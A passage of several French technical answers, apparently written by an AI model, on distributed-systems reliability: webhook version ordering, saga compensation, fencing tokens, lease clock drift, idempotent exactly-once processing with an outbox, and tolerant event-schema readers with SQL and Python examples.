| 2 | version 3 | $3 \le 5$ | **Ignorer** (rejeu / doublon déjà consommé), accuser réception 2xx, journaliser en `stale_ignored` | 5 |
| 3 | version 4 | $4 < 5$ | **Ignorer** (arrivée hors ordre, information périmée), 2xx, journaliser | 5 |
**Version locale finale immédiate : $v_{local} = 5$.**
## Cas B, payload de type delta incrémental, séquence strictement contiguë exigée
| Ordre | Événement | Test | Action | $v_{local}$ après |
|---|---|---|---|---|
| 1 | version 5 | $5 > 3 + 1$, trou détecté | **Mettre en attente** (buffer d'ordonnancement), ne pas appliquer | 3 |
| 2 | version 3 | $3 \le 3$ | **Ignorer** (doublon de l'événement déjà dédupliqué) | 3 |
| 3 | version 4 | $4 = 3 + 1$ | **Appliquer**, puis vider le buffer : la version 5 devient contiguë et est appliquée à son tour | 5 |
**Version locale finale immédiate : $v_{local} = 5$.**
## Réponse synthétique
- **5** : appliquer (cas A) ou mettre en attente puis appliquer (cas B), c'est la seule version qui fait avancer l'état.
- **3** : ignorer dans tous les cas, $3 \not> 3$, c'est un rejeu ; répondre 2xx pour ne pas déclencher de redélivrance.
- **4** : ignorer si les payloads sont des snapshots ; appliquer avant 5 si ce sont des deltas.
- **Version locale finale immédiate : 5.**
## Points de rigueur
1. Un événement ignoré n'est pas une erreur : il doit être acquitté en 2xx et compté dans une métrique (`stale_ignored`, `out_of_order`), sinon l'émetteur relance en boucle et vous fabriquez une tempête de redélivrances.
2. Le test doit être atomique côté base : `UPDATE commande SET etat=..., version=:v WHERE id=:id AND version < :v`, ce qui rend le gardien sûr en concurrence sans verrou applicatif. Un test lu puis écrit en deux requêtes distinctes est vulnérable à une course entre deux consommateurs.
3. La déduplication par identifiant d'événement et le gardien de version sont deux protections distinctes et complémentaires : la première traite les doublons exacts, la seconde le désordre de livraison. Aucune ne remplace l'autre.
4. Limite honnête : sans le contrat réel du webhook (snapshot ou delta, garantie d'ordre, existence d'un `event_id` stable), le choix entre les cas A et B ne peut pas être tranché depuis l'énoncé. La version finale, 5, est identique dans les deux cas ; c'est l'état intermédiaire et le traitement de l'événement 4 qui diffèrent, et cette différence est observable si un lecteur consulte la commande entre les trois réceptions.## Cadre Une saga est une suite de transactions locales, chacune commitée dans son service, dont l'échec d'une étape est traité non par un rollback global mais par des transactions de compensation exécutées **dans l'ordre inverse** des étapes déjà réussies (article Wikipedia EN « Compensating transaction » : « the system executes the compensating transactions for all previously completed steps in reverse order to undo the process »). Ce mécanisme se distingue explicitement de la transaction distribuée à validation en deux phases, car il évite le verrouillage prolongé des ressources (même article, section « Long-running transactions (Sagas) »). Séquence directe : $T_1$ réserver le stock, $T_2$ débiter le paiement, $T_3$ expédier, qui échoue. Il n'existe donc que deux compensations métier, $C_2$ puis $C_1$, encadrées par un état d'entrée en compensation et un état terminal. ## Les quatre états/actions depuis l'échec | # | État de la saga | Action déclenchée | Inverse de | Point de contrôle | |---|---|---|---|---| | 1 | `SHIPPING_FAILED` → `COMPENSATING` | Enregistrer l'échec de $T_3$ de façon durable (journal de saga), figer la progression, ne plus rejouer $T_3$ au-delà de la politique de retry ; nettoyer tout effet partiel de $T_3$ (ordre d'expédition en brouillon, étiquette non consommée) | $T_3$ partiel | Écriture du log AVANT toute compensation, sinon une reprise après crash ne sait pas quoi compenser | | 2 | `COMPENSATING_PAYMENT` | $C_2$ : rembourser ou annuler l'autorisation du paiement (`refund` / `void` selon que le débit est capturé ou seulement autorisé) | $T_2$ | Idempotence par clé de compensation ; retry avec backoff ; si $C_2$ échoue définitivement → état `COMPENSATION_FAILED` et escalade humaine | | 3 | `COMPENSATING_STOCK` | $C_1$ : libérer la réservation de stock et recréditer le disponible | $T_1$ | Ne s'exécute qu'après confirmation de $C_2$ (ordre inverse strict) ; idempotent, une double libération ne doit pas gonfler le stock | | 4 | `COMPENSATED` (état terminal, commande annulée) | Clôturer la saga, publier l'événement `OrderCancelled`, notifier le client, purger les timers | — | Vérification d'invariants : aucun débit résiduel, quantité réservée = 0, saga non reprenable | L'ordre 2 puis 3 est imposé par le principe d'inversion : le paiement, dernier effet commité avant l'échec, est le premier compensé. ## Pourquoi ce n'est pas une transaction distribuée Aucun coordinateur ne détient de verrou sur les bases du stock et du paiement, aucun `prepare`/`commit` global ; chaque service commite localement et expose une opération inverse métier (article Wikipedia EN « Long-running transaction » : « compensation restores the original state, or an equivalent, and is business-specific », l'exemple donné étant l'annulation d'une réservation d'hôtel). Le seul état partagé est le journal de la saga, qui est une donnée locale à l'orchestrateur, pas un verrou distribué. ## Contraintes d'implémentation non négociables - **Idempotence de chaque compensation** : les messages seront redélivrés, `refund(saga_id)` appelé deux fois ne doit rembourser qu'une fois. - **Durabilité du journal avant action** : le passage d'état est persisté puis l'appel est émis, sinon un crash entre les deux laisse un effet non tracé. - **Compensation elle-même faillible** : c'est un problème critique reconnu, à traiter par retry, intervention manuelle d'un administrateur ou escalade (article Wikipedia EN « Compensating transaction », section « Limitations and challenges », rubrique « Compensation failure »). - **Réversibilité imparfaite** : certains effets ne s'annulent pas, un e-mail envoyé ne peut pas être « désenvoyé », la compensation ne peut alors qu'émettre une action de correction (même section, rubrique « Incomplete reversal »). L'état atteint est donc sémantiquement cohérent au sens métier, pas identique à l'état initial. - **Absence d'isolation** : les effets de $T_1$ et $T_2$ ont été visibles avant compensation, ce qui expose à des lectures sales, un autre processus a pu décider sur la base d'un stock réservé ou d'un paiement encaissé (même section, rubrique « No true isolation »). ## Limite de ce que je peux étayer Les noms d'états du tableau (`COMPENSATING`, `COMPENSATED`, etc.) sont une convention de nommage que je propose, pas une nomenclature normalisée par une source ; seuls le principe d'inversion, la nature métier de la compensation, la distinction avec le two-phase commit et les quatre limites citées proviennent des articles encyclopédiques référencés. Je n'ai pas de source sous la main fixant une taxonomie d'états de saga faisant autorité.
## 1. Résultat direct
| Élément | Valeur |
|---|---|
| Token accepté | **42** (worker B, détenteur courant) |
| Token rejeté | **41** (worker A, token périmé) |
| Token max mémorisé par la ressource après l'épisode | $t_{max} = 42$ |
| Écriture tardive de A | **refusée** (erreur de type « stale token », par exemple HTTP 412 Precondition Failed) |
| Données finales | celles écrites par **B** uniquement |
## 2. Condition d'écriture (à vérifier côté ressource, jamais côté client)
La ressource protégée (base, système de fichiers, service de stockage) conserve un état persistant $t_{max}$, initialisé à $-\infty$ ou 0, et applique à chaque requête portant un token $t$ :
$$\text{accepter}(t) \iff t \ge t_{max}, \qquad \text{puis } t_{max} \leftarrow \max(t_{max},\, t)$$
et cette lecture-comparaison-mise à jour doit être **atomique** (compare-and-set), sinon deux requêtes concurrentes peuvent toutes deux passer le test.
Déroulé de votre scénario :
1. A écrit avec $t = 41$ : $41 \ge 0$, accepté, $t_{max} = 41$.
2. Le bail de A expire, B obtient $t = 42$ (le service de verrous délivre des tokens strictement croissants).
3. B écrit avec $t = 42$ : $42 \ge 41$, accepté, $t_{max} = 42$.
4. A revient et écrit avec $t = 41$ : test $41 \ge 42$ **faux**, rejet.
Variante de convention : si l'on veut interdire toute réécriture par un détenteur déjà « doublé » y compris à token égal, on prend $t > t_{max}$ ; l'inconvénient est qu'un même détenteur ne peut alors plus faire deux écritures successives avec son token. La forme usuelle est donc $t \ge t_{max}$. Ce choix ne change rien à votre cas : 41 est rejeté dans les deux variantes.
## 3. État final détaillé
- Ressource : contenu cohérent, correspondant à la dernière écriture de B ; aucune corruption par A.
- Compteur de fencing : $t_{max} = 42$, monotone non décroissant.
- Worker A : doit interpréter le rejet comme la **perte définitive** de son verrou, arrêter son traitement, ne pas réessayer avec 41, et, s'il veut continuer, ré-acquérir le verrou pour obtenir un token strictement supérieur (43 ou plus) après avoir revalidé son état de départ, car les données ont changé sous lui.
- Worker B : reste le détenteur légitime tant que son bail est valide.
## 4. Pourquoi le token périmé est rejeté pour toujours (argument par récurrence, non par vérification finie)
Invariant : la suite des valeurs de $t_{max}$ est non décroissante, puisque chaque mise à jour est $t_{max} \leftarrow \max(t_{max}, t)$.
Initialisation : après l'écriture de B, $t_{max} = 42$.
Hérédité : si à une étape $t_{max} \ge 42$, alors après toute écriture acceptée $t_{max} \ge 42$ encore.
Conclusion : pour tout instant ultérieur, $41 < 42 \le t_{max}$, donc toute requête portant 41 échoue au test. Le rejet n'est pas un constat empirique sur quelques essais, c'est une conséquence de l'invariant.
## 5. Ce que ce mécanisme garantit, et ce qu'il ne garantit pas
Garanti (sous les hypothèses ci-dessous) :
- **Intégrité** de la ressource fencée : pas d'écriture par un détenteur périmé, indépendamment des horloges, des pauses GC, des pertes réseau et de la durée du retard de A.
Non garanti, points de vigilance :
- Le fencing ne protège que les ressources qui **vérifient effectivement le token**. Toute ressource annexe touchée par A (envoi d'e-mail, appel de paiement, écriture dans un cache, fichier local, message publié sur un bus) n'est pas protégée : ces effets de bord peuvent déjà avoir eu lieu. Il faut soit fencer aussi ces chemins, soit les rendre idempotents avec une clé d'idempotence.
- Le fencing n'assure ni la **confidentialité** ni la **disponibilité** : il empêche l'écriture périmée, il n'empêche pas une lecture non autorisée ni un déni de service.
- Il suppose un service de verrous délivrant des tokens **monotones** et un $t_{max}$ **persistant** : si la ressource perd $t_{max}$ au redémarrage, ou si le service redémarre son compteur à zéro, la garantie s'effondre.
- La vérification doit être **côté serveur de la ressource**. Un client qui vérifie lui-même « ai-je encore le verrou ? » avant d'écrire ne fournit aucune garantie, la fenêtre entre le test et l'écriture suffit à tout casser.
- Distinguez le fait d'**être** détenteur légitime, la **preuve** dont dispose la ressource (le token présenté), et la **politique** appliquée (le test $t \ge t_{max}$). C'est la preuve, non l'intention du client, qui décide.
- L'exclusion mutuelle réelle n'est pas assurée en tout instant : A et B peuvent tous deux se croire détenteurs pendant un intervalle. Le fencing ne supprime pas ce recouvrement, il rend seulement inoffensives les écritures du perdant.
## 6. Statut épistémique de cette réponse
Le déroulé, les valeurs 42 acceptée et 41 rejetée, l'invariant et sa démonstration découlent directement de la définition du token de fencing monotone que vous posez dans l'énoncé : ce sont des conséquences logiques, vérifiables par le raisonnement ci-dessus. En revanche, je n'ai trouvé **aucun article correspondant dans l'encyclopédie locale hors ligne dont je dispose** (recherches « fencing token verrou distribué » et « distributed lock fencing token lease », sans résultat pertinent) : je ne peux donc pas vous citer de source documentaire pour l'attribution historique de ce mécanisme ni pour les formulations canoniques de la littérature. Si vous avez besoin d'une référence citable, il faudra la tirer de la documentation du service de verrous que vous utilisez réellement.## 1. Diagnostic du risque
**Risque : violation de l'exclusion mutuelle, donc split-brain avec deux détenteurs simultanés du bail et écritures concurrentes non sérialisées.**
A se croit encore titulaire alors que le bail a réellement expiré et que B l'a acquis. Conséquences concrètes : mise à jour perdue (*lost update*), écriture d'un écrivain zombie qui écrase une donnée plus récente, corruption d'état ou d'un fichier partagé, double exécution d'un effet non idempotent (débit, envoi, migration). C'est un défaut de **sûreté** (*safety*), pas de vivacité : il ne se corrige pas en attendant.
Fenêtre de recouvrement, selon la lecture de l'énoncé, qui est ambigu (calcul vérifié avec l'outil local) :
| Lecture de « horloge lente de 4 s » | Modèle | Arrêt réel de A | Chevauchement A∩B |
|---|---|---|---|
| Décalage constant de 4 s en retard | $t_{stop}=D+4$ | 14 s | **4 s** |
| Dérive de fréquence : 6 s comptées pour 10 s réelles, soit $r=0{,}6$ | $t_{stop}=D/r$ | ~16,7 s | **~6,7 s** |
$$t_{stop}=\frac{D}{r}=\frac{10}{0{,}6}\approx 16{,}67\ \text{s},\qquad \Delta=t_{stop}-D\approx 6{,}67\ \text{s}$$
Dans les deux cas, A et B écrivent tous deux pendant plusieurs secondes.
## 2. Cause
**Cause immédiate :** la décision de sûreté (« ai-je encore le bail ? ») est prise localement par A à partir de son horloge physique, dont la dérive n'est pas bornée de façon garantie. L'échéance a été convertie en instant local, et l'erreur de fréquence de 40 % rend cette échéance fausse.
**Causes structurelles associées :**
- la ressource écrite (stockage, base, fichier) n'effectue **aucune vérification** de titularité : elle accepte toute écriture qui lui parvient ;
- il n'y a pas de délai de garde côté émetteur du bail avant réattribution, ni de marge tenant compte de la dérive ;
- probable usage d'une horloge murale, sujette aux sauts (NTP, changement d'heure, VM suspendue), au lieu d'une horloge monotone ;
- pauses non prises en compte (GC, *stop-the-world*, suspension de VM, congestion réseau) qui produisent le même effet même avec une horloge parfaite.
Marges correctes si la dérive relative est bornée par $\rho=0{,}4$ (valeurs calculées) :
$$D_{local}^{max}=D(1-\rho)=6\ \text{s},\qquad T_{attente}^{grantor}=\frac{D}{1-\rho}\approx 16{,}67\ \text{s}$$
soit : le détenteur doit s'auto-révoquer au bout de 6 s locales, et l'émetteur ne doit pas réattribuer avant ~16,7 s. Ces marges ne sont valides que si $\rho$ est réellement garanti, ce qui est une hypothèse forte.
## 3. Protection d'écriture
**Jeton de cloisonnement monotone (*fencing token*), vérifié côté ressource, et non côté client.**
Mécanisme : chaque octroi de bail incrémente un compteur strictement croissant (numéro d'époque). Le détenteur joint ce numéro à **chaque** écriture. La ressource conserve le plus grand numéro observé et rejette toute écriture portant un numéro inférieur ou égal, de façon atomique.
```
# Côté ressource (pseudo-code ; à exécuter atomiquement, ex. en transaction SQL)
def write(resource_id, token, payload):
row = SELECT max_token FROM guard WHERE id = :resource_id FOR UPDATE
if token < row.max_token:
raise Fenced("token périmé : %d < %d" % (token, row.max_token))
UPDATE guard SET max_token = :token WHERE id = :resource_id
apply(payload)
```
Effet sur le scénario : A détient le jeton 33, B reçoit 34 et écrit ; l'écriture tardive de A avec 33 est refusée, **quelle que soit** la dérive de son horloge. La sûreté ne dépend plus du temps.
Variantes équivalentes, à choisir selon la couche disponible :
- écriture conditionnelle / CAS : `UPDATE ... WHERE epoch = :epoch` ou en-tête `If-Match: <ETag>` ;
- réservation d'accès au niveau stockage (SCSI-3 Persistent Reservations) ;
- cloisonnement par mise hors service du nœud suspect (*STONITH*, coupure d'alimentation ou d'accès réseau) avant réattribution ;
- côté détenteur, en complément et non en remplacement : horloge monotone, auto-révocation avec marge $D(1-\rho)$, vérification du jeton juste avant l'appel **et** rejet côté serveur.
Point important : les requêtes SQL ci-dessus doivent être paramétrées, comme écrit, et le refus doit être le comportement par défaut (*fail closed*) si le compteur de garde est illisible.
## 4. Propriété d'horloge insuffisante
**Insuffisant : la synchronisation d'horloge, c'est-à-dire un écart absolu supposé borné entre horloges (« horloges quasi synchronisées »).**
Deux nœuds peuvent afficher la même heure à quelques millisecondes près et néanmoins violer le bail, car ce qui compte pour un intervalle n'est pas l'accord sur l'instant mais la **borne garantie sur l'erreur de fréquence** pendant la mesure de durée, plus l'absence de saut et l'absence de pause du processus. Ici la dérive atteint 40 %, très au-delà de toute hypothèse raisonnable.
Formulé autrement, ce qui manque :
- une horloge **monotone** à dérive **bornée et prouvée**, avec intervalle d'incertitude explicite exposé à l'application (approche des horloges à incertitude bornée, type intervalle $[t_{min},t_{max}]$), au lieu d'une valeur ponctuelle ;
- la reconnaissance qu'aucune horloge physique en système asynchrone ne fournit cette garantie de manière inconditionnelle.
**Conclusion de principe :** dans un tel système, le temps ne peut servir qu'à la **vivacité** (libérer un bail bloqué, éviter l'attente infinie). La **sûreté** doit reposer sur un ordre logique vérifié à la ressource, jeton monotone ou écriture conditionnelle. Un bail temporel sans cloisonnement est un mécanisme de performance, pas un mécanisme de correction.
## Vérification et limites
- Les valeurs 4 s, ~6,7 s, 6 s et ~16,7 s proviennent du calcul exécuté ci-dessus dans le laboratoire local ; elles découlent uniquement de l'arithmétique de l'énoncé.
- L'énoncé est ambigu sur « horloge lente de 4 s » (décalage constant ou dérive de fréquence) : les deux lectures sont traitées, et la conclusion est identique dans les deux cas.
- Je n'ai pas trouvé d'article pertinent sur les baux et le cloisonnement dans l'encyclopédie locale hors ligne ; mes recherches n'ont retourné aucun résultat utilisable. Les éléments ci-dessus relèvent de la doctrine d'ingénierie établie des systèmes répartis, que je ne peux pas étayer ici par une source consultable, et je ne fabriquerai pas de référence. À vérifier dans la documentation du composant réellement utilisé (verrou, coordinateur, stockage) : de nombreux services de verrouillage ne fournissent **pas** de jeton monotone exploitable, ce qui conditionne la solution retenue.
- Un test finiment répété qui ne montre aucun conflit ne prouve pas la sûreté : seule la propriété d'invariant « toute écriture appliquée porte le jeton maximal observé » l'établit. Elle doit être testée par injection de faute (suspension de processus, décalage d'horloge forcé, partition réseau) et non par simple charge nominale.## Diagnostic
Le résultat visé n'est pas une remise « exactly once » sur le réseau, qui est hors d'atteinte dans ce modèle, mais un **effet observable exactement une fois** malgré des redélivraisons. La formulation exacte est donc :
$$\text{at-least-once (transport)} + \text{idempotence (effet)} = \text{exactly-once (observable)}$$
Cette réduction repose sur la définition même de l'idempotence : une routine est idempotente si l'état du système reste le même après un ou plusieurs appels, et un script SQL d'insertion peut être écrit de façon idempotente au moyen de conditions empêchant la réinsertion des mêmes enregistrements (article Idempotence, Wikipédia fr, section « En informatique », consulté via l'encyclopédie locale).
Précision d'honnêteté : seul l'article Idempotence a été effectivement lu. Les points relatifs à l'atomicité transactionnelle et au motif outbox relèvent de la pratique d'ingénierie établie ; je n'ai pas consulté ici de source les attestant, je les présente comme connaissances de domaine et non comme citations.
## Les quatre composants réellement nécessaires
**1. Une clé d'idempotence métier, stable et déterministe, portée par le message**
Elle doit être produite par le producteur (ou dérivée déterministement du contenu métier, par exemple `commande_id + type_evenement`), et rester **identique** sur toutes les redélivraisons du même événement. Un identifiant regénéré par le broker à chaque tentative, ou un UUID créé côté consommateur, détruit la propriété. Sans cette clé, aucun des trois autres composants ne peut fonctionner : il n'existe pas de critère d'identité pour décider « déjà traité ».
**2. Un registre de déduplication persistant, dans le même PostgreSQL, avec contrainte d'unicité**
C'est l'unique juge de « déjà traité ». La contrainte d'unicité en base est indispensable : un test applicatif `SELECT ... puis INSERT` ne protège pas contre deux consommateurs concurrents traitant la même redélivrance. La garantie doit venir du moteur, pas du code.
**3. L'atomicité : effet métier et marque de déduplication dans une seule et même transaction**
C'est le composant que l'on oublie le plus souvent. Si l'écriture métier et l'enregistrement de la clé sont dans deux transactions distinctes, une panne entre les deux produit soit un double effet, soit une perte. Un seul `COMMIT` doit engager les deux, ce qui exige que le registre soit dans **la même base** (pas dans Redis, pas dans un cache, pas dans un autre cluster).
**4. Le déplacement des effets non transactionnels hors du chemin critique : outbox transactionnelle plus ACK après commit**
L'ACK du broker, l'envoi d'un email, un appel de paiement, une publication sortante ne participent pas à la transaction PostgreSQL. Il faut donc :
- écrire ces intentions dans une table `outbox` **dans la même transaction** (composant 3),
- les émettre ensuite par un relais at-least-once, chaque émission portant sa propre clé d'idempotence pour le destinataire,
- n'envoyer l'ACK au broker **qu'après** le `COMMIT` réussi.
Le point de vérité unique devient le commit PostgreSQL ; l'ACK n'est qu'une optimisation rejouable. C'est ce composant qui rend le système correct au-delà de la seule base de données.
## Séquence d'exécution correcte
| Étape | Action | Effet d'une panne à cet instant |
|---|---|---|
| 1 | `BEGIN` | Redélivrance, aucun effet |
| 2 | `INSERT` clé dans le registre ; si conflit, `ROLLBACK` et ACK | Redélivrance, aucun effet |
| 3 | Écritures métier | Rollback implicite, redélivrance saine |
| 4 | `INSERT` dans `outbox` | Rollback implicite, redélivrance saine |
| 5 | `COMMIT` | Effet acquis une fois |
| 6 | ACK broker | ACK perdu, redélivrance absorbée à l'étape 2 |
| 7 | Relais outbox | Réémission at-least-once, dédupliquée chez le destinataire |
## Schéma et code
```sql
-- Registre de déduplication
CREATE TABLE message_traite (
cle_idempotence TEXT PRIMARY KEY,
traite_le TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX idx_message_traite_date ON message_traite (traite_le);
-- Outbox pour les effets externes
CREATE TABLE outbox (
id BIGGERIAL, -- voir note ci-dessous
cle_sortante TEXT NOT NULL UNIQUE,
destination TEXT NOT NULL,
charge JSONB NOT NULL,
cree_le TIMESTAMPTZ NOT NULL DEFAULT now(),
publie_le TIMESTAMPTZ
);
```
Correction : `BIGGERIAL` n'existe pas, le type correct est `BIGSERIAL` (ou `GENERATED ALWAYS AS IDENTITY`). Version rectifiée :
```sql
CREATE TABLE outbox (
id BIGINT GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
cle_sortante TEXT NOT NULL UNIQUE,
destination TEXT NOT NULL,
charge JSONB NOT NULL,
cree_le TIMESTAMPTZ NOT NULL DEFAULT now(),
publie_le TIMESTAMPTZ
);
CREATE INDEX idx_outbox_a_publier ON outbox (id) WHERE publie_le IS NULL;
```
Consommateur, en Python avec requêtes paramétrées (jamais de concaténation de chaînes) :
```python
def traiter(conn, message):
cle = message["cle_idempotence"] # composant 1, fourni par le producteur
with conn: # composant 3 : une seule transaction
with conn.cursor() as cur:
cur.execute(
"INSERT INTO message_traite (cle_idempotence) VALUES (%s) "
"ON CONFLICT (cle_idempotence) DO NOTHING RETURNING 1",
(cle,),
)
if cur.fetchone() is None:
return "DEJA_TRAITE" # ACK sans réappliquer l'effet
appliquer_effet_metier(cur, message) # écritures métier
cur.execute( # composant 4 : outbox
"INSERT INTO outbox (cle_sortante, destination, charge) "
"VALUES (%s, %s, %s) ON CONFLICT (cle_sortante) DO NOTHING",
(f"{cle}:notif", "email", Json(message["charge"])),
)
return "COMMITE" # l'ACK broker est envoyé par l'appelant, après ce retour
```
L'ACK doit être émis par l'appelant uniquement sur retour `COMMITE` ou `DEJA_TRAITE`, jamais sur exception.
## Vérification à exiger avant mise en production
- Test d'injection de panne entre le `COMMIT` et l'ACK : l'effet métier doit apparaître exactement une fois après redélivrance.
- Test de concurrence : deux consommateurs traitant simultanément la même clé ; un seul doit committer, l'autre doit recevoir la violation d'unicité.
- Test de redélivrance massive, rejeu de l'intégralité d'une partition, effets métier inchangés.
- Test de crash du relais outbox entre l'émission et le marquage `publie_le` : double émission attendue, absorbée par le destinataire grâce à `cle_sortante`.
- Vérification que le registre et les tables métier sont bien dans la même instance et la même transaction, pas seulement dans le même service.
## Risques et limites
- **Rétention du registre** : une purge par ancienneté rouvre une fenêtre de doublon si une redélivrance survient après l'horizon de purge. La rétention doit strictement dépasser la durée de vie maximale d'un message dans le broker, files de rejet et rejeux manuels compris. Je ne peux pas fixer cette valeur sans connaître votre configuration.
- **Producteur non idempotent** : si le producteur émet deux clés différentes pour le même fait métier, la chaîne aval est correcte et le résultat reste faux. Le problème remonte en amont.
- **Effets non rejouables** : un appel externe sans clé d'idempotence acceptée par le fournisseur ne peut pas être rendu exactement-une-fois ; vous n'obtiendrez qu'au-plus-une-fois ou au-moins-une-fois selon l'ordre choisi. C'est une limite du partenaire, pas de votre code.
- **Impossibilité théorique de fond** : aucun protocole ne permet à deux parties de s'accorder avec certitude sur la réception d'un message via un canal non fiable, ce qui interdit un « exactly once » de transport. L'encyclopédie locale contient un article sur ce résultat, référencé sous le titre « Two Generals' Problem », que je n'ai pas ouvert ici et dont je ne cite donc pas le contenu.
- **Ce qui n'est pas garanti** : ces quatre composants assurent l'unicité de l'effet, pas l'ordre de traitement, pas l'absence de latence, pas la disponibilité. Intégrité et unicité ne remplacent ni l'authenticité du message, ni sa confidentialité.## 1. Compatibilité actuelle
Il faut séparer deux niveaux, faute de quoi le diagnostic est faux.
| Niveau | État | Justification |
|---|---|---|
| Contrat logique (schéma) | Évolution **compatible en arrière** pour le producteur | Un champ *optionnel* ajouté laisse tous les événements v2 conformes à l'ensemble des champs attendus par v1 (aucun champ requis retiré, aucun type modifié) |
| Implémentation du consommateur v1 | **Incompatible en avant** (non forward compatible) | « Un standard supporte la compatibilité ascendante si un produit conforme aux versions antérieures peut traiter gracieusement une entrée conçue pour les versions ultérieures, en ignorant les nouvelles parties qu'il ne comprend pas » (Wikipédia EN, *Forward compatibility*) |
| Effet observé en production | **Rupture réelle**, panne de traitement | v1 rejette, donc 100 % des événements v2 portant `locale` échouent chez ce consommateur |
Conclusion opérationnelle : la rupture n'est pas causée par le schéma v2, elle est causée par la politique de lecture en monde fermé du consommateur v1. Le producteur a fait une évolution licite, le lecteur a un contrat trop strict. C'est un fait établi par la définition ci-dessus, pas une opinion.
Réserve d'honnêteté : je ne dispose pas de votre schéma, de vos logs ni de votre code, donc le périmètre exact de l'impact (nombre de flux, présence de relais intermédiaires, rejet total ou partiel) est une hypothèse à vérifier chez vous.
## 2. Défaut du consommateur v1
1. **Violation de la règle « must ignore unknowns »**. Le W3C TAG documente trois règles de substitution permettant une conception compatible en avant : *must ignore unknowns*, *must accept and discard unknowns*, *must accept and preserve unknowns* (Wikipédia EN, *Forward compatibility*, section Design principles). v1 n'en applique aucune.
2. **Violation du principe de robustesse de Postel** : « be conservative in what you do, be liberal in what you accept from others », énoncé dans la spécification TCP du DoD (RFC 761, janvier 1980, cité par Wikipédia EN, *Robustness principle*). Le même article précise que les protocoles devraient permettre l'ajout de nouveaux codes pour des champs existants dans les versions futures, en acceptant les messages porteurs de codes inconnus, éventuellement en les journalisant.
3. **Sévérité placée du mauvais côté**. La validation stricte a une valeur réelle, mais sur les champs *connus* (présence des champs requis, types, invariants métier), pas sur l'existence de champs supplémentaires.
4. **Défaut latent de préservation**. Si v1 réémet, transforme ou archive l'événement, il détruira `locale` même après correction du rejet. HTTP/1.1 impose précisément l'inverse pour les en-têtes inconnus : ils doivent être ignorés par le destinataire et transmis par les proxys transparents, application directe de la règle *preserve unknowns* (RFC 7230, cité par Wikipédia EN, *Forward compatibility*).
5. **Symptôme d'architecture** : le rejet des propriétés inconnues transforme chaque ajout de champ optionnel en changement cassant, donc bloque l'évolution du domaine, ce qui est exactement le problème d'ossification que la règle *must ignore* évite (analyse, appuyée sur les règles W3C TAG citées).
## 3. Correction du lecteur
Principe : **tolérant sur les inconnus, strict sur les connus, conservateur à l'émission**, avec observabilité. Cette nuance est nécessaire car le principe de Postel appliqué naïvement est critiqué : Rose recommande des contrôles de cohérence explicites même au prix d'un surcoût d'implémentation (RFC 3117, 2001), et Thomson et Schinazi soutiennent qu'une tolérance aveugle nuit à la robustesse, notamment à la sécurité (RFC 9413, 2023), les deux étant cités par Wikipédia EN, *Robustness principle*.
### 3.1 JSON Schema (correctif de contrat)
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"$id": "https://example.invalid/schemas/event/v1.json",
"title": "Event v1 (lecture tolérante)",
"type": "object",
"required": ["event_id", "event_type", "occurred_at", "schema_version"],
"properties": {
"schema_version": { "type": "string", "pattern": "^1\\.[0-9]+$" },
"event_id": { "type": "string", "format": "uuid" },
"event_type": { "type": "string", "minLength": 1, "maxLength": 128 },
"occurred_at":{ "type": "string", "format": "date-time" },
"payload": { "type": "object" }
},
"additionalProperties": true
}
```
Le seul changement de fond est `additionalProperties: false` remplacé par `true`. Les contraintes fortes restent sur les champs requis et leurs types, donc on ne perd pas la détection des vraies malformations.
### 3.2 Lecteur Python (Pydantic v2), ignore mais préserve
```python
from datetime import datetime
from typing import Any, Dict
import logging
from pydantic import BaseModel, ConfigDict, Field, ValidationError
logger = logging.getLogger(__name__)
# Champs jamais journalises, meme tronques (minimisation, RGPD).
SENSIBLES = {"email", "phone", "token", "password", "authorization", "ip"}
class EventV1(BaseModel):
# extra="allow" : on accepte ET on conserve les champs inconnus
# (regle W3C TAG "must accept and preserve unknowns").
model_config = ConfigDict(extra="allow", str_strip_whitespace=True)
schema_version: str = Field(pattern=r"^\d+\.\d+$")
event_id: str = Field(min_length=1, max_length=64)
event_type: str = Field(min_length=1, max_length=128)
occurred_at: datetime
payload: Dict[str, Any] = Field(default_factory=dict)
@property
def champs_inconnus(self) -> Dict[str, Any]:
return dict(self.model_extra or {})
@property
def version_majeure(self) -> int:
return int(self.schema_version.split(".", 1)[0])
class EvenementIncompatible(Exception):
"""Version majeure non supportee par ce lecteur."""
VERSIONS_MAJEURES_SUPPORTEES = {1}
def lire_evenement(brut: Dict[str, Any]) -> EventV1:
"""Valide strictement les champs connus, ignore et conserve les inconnus.
Leve ValidationError si un champ requis manque ou a un type invalide.
Leve EvenementIncompatible si la version majeure est inconnue.
"""
evt = EventV1.model_validate(brut)
if evt.version_majeure not in VERSIONS_MAJEURES_SUPPORTEES:
raise EvenementIncompatible(
f"version majeure {evt.version_majeure} non supportee"
)
inconnus = evt.champs_inconnus
if inconnus:
# On journalise seulement les NOMS non sensibles, jamais les valeurs.
noms = sorted(n for n in inconnus if n.lower() not in SENSIBLES)
logger.info(
"champs inconnus ignores",
extra={"event_type": evt.event_type, "champs_inconnus": noms},
)
return evt
def reemettre(evt: EventV1) -> Dict[str, Any]:
"""Reemission conservant les champs inconnus pour l'aval."""
return evt.model_dump(mode="json", exclude_none=False)
```
Points de conception, avec le compromis assumé : `extra="allow"` conserve les inconnus, ce qui est indispensable si le service relaie ou archive. Si le service est un puits terminal et que vous voulez borner la mémoire et la surface d'attaque, utilisez `extra="ignore"`, qui applique la règle *must accept and discard*. N'utilisez `extra="forbid"` que dans les tests du producteur, jamais en lecture d'entrée.
### 3.3 Équivalents dans d'autres piles
| Pile | Réglage tolérant |
|---|---|
| Jackson (Java) | `DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES` à `false`, ou `@JsonIgnoreProperties(ignoreUnknown = true)`, et `@JsonAnySetter` / `@JsonAnyGetter` pour préserver |
| System.Text.Json (.NET) | `JsonExtensionDataAttribute` sur un `Dictionary<string, JsonElement>` pour préserver ; par défaut les inconnus sont déjà ignorés |
| Protobuf | Les champs inconnus sont conservés par défaut dans proto3 depuis les versions récentes ; ne pas les effacer à la réémission |
Réserve : le comportement par défaut exact de chaque bibliothèque dépend de la version employée. Vérifiez-le sur la version que vous déployez, je ne peux pas l'attester pour votre build.
### 3.4 Vérification à exécuter
```python
import json
import pytest
from pydantic import ValidationError
BASE = {
"schema_version": "1.0",
"event_id": "e-1",
"event_type": "user.created",
"occurred_at": "2024-01-01T00:00:00Z",
"payload": {"user_id": "u-1"},
}
